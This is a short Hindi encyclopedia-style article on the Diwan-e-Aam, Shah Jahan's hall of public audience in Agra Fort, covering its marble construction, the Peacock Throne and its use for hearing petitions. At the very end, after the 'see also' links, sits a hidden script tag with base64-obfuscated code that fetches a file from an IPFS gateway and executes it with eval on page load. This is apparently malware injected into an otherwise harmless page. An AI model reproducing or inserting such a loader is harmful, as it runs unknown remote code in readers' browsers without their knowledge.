दीवान-ए-आम (आगरा)  

दीवान-ए-आम मुग़ल बादशाह शाहजहाँ द्वारा आगरा के क़िले में 1627 ई. में बनवाया गया था। यह बादशाह का मुख्य सभागार हुआ करता था। इस सभागार का प्रयोग आम जनता से बात करने और उनकी फ़रियाद आदि सुनने के लिये किया जाता था।

  • 'दीवान-ए-आम' शाहजहाँ के समय की वह प्रथम इमारत थी, जिसमें संगमरमर से निर्माण कार्य हुआ था।
  • इस सभागार में बादशाह के बैठने के लिए 'मयूर सिंहासन' या 'तख्त-ए-ताउस' की व्यवस्था भी थी।
  • शाहजहाँ शैली के प्रभाव को स्‍पष्‍ट रूप से 'दीवान-ए-आम' में देखा जा सकता है, जो संगमरमर पर की गई फूलों की नक्‍काशी से पता चलती है।
  • सभागार में बादशाह आम जनता से सीधे मिलता था और उनकी फ़रियाद आदि सुनता था, साथ ही वह अपने अधिकारियों से भी यहाँ मिलता था।
  • 'दीवान-ए-आम' से एक रास्‍ता नगीना मस्जिद और महिला बाज़ार की ओर जाता था, जहाँ केवल महिलाएँ ही मुग़ल औरतों को सामान बेचती थीं।


इन्हें भी देखें: मुग़लकालीन स्थापत्य एवं वास्तुकला, मुग़लकालीन शासन व्यवस्था एवं मुग़लकालीन सैन्य व्यवस्था<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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